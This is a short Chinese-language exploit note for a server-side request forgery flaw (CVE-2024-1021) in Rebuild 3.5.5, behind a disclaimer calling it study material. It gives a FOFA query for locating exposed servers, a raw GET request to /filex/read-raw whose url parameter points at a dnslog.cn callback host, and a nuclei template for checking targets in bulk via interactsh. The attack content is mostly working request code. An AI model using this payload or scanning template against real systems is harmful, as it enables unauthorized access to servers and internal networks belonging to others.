免责声明:
本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
漏洞描述
Rebuild 3.5.5 版本存在安全漏洞,HTTP Request Handler 的 readRawText 函数的 url 参数存在服务器端请求伪造漏洞
fofa语句
icon_hash="871154672"
漏洞复现
打开页面
构造payload
GET /filex/read-raw?url=http://onptdn.dnslog.cn&cut=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
查看dnslog
nuclei批量验证
id: Rebuild-SSRF-CVE-2024-1021
info:
name: Rebuild 3.5.5 版本存在安全漏洞,HTTP Request Handler 的 readRawText 函数的 url 参数存在服务器端请求伪造漏洞
author: changge
severity: high
metadata:
fofa-query: icon_hash="871154672"
variables:
filename: "{{to_lower(rand_base(10))}}"
boundary: "{{to_lower(rand_base(20))}}"
http:
- raw:
- |
GET /filex/read-raw?url=http://{{interactsh-url}}&cut=1 HTTP/1.1
Host:{{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
matchers:
- type: dsl
dsl:
- contains(interactsh_protocol, "dns")
condition: and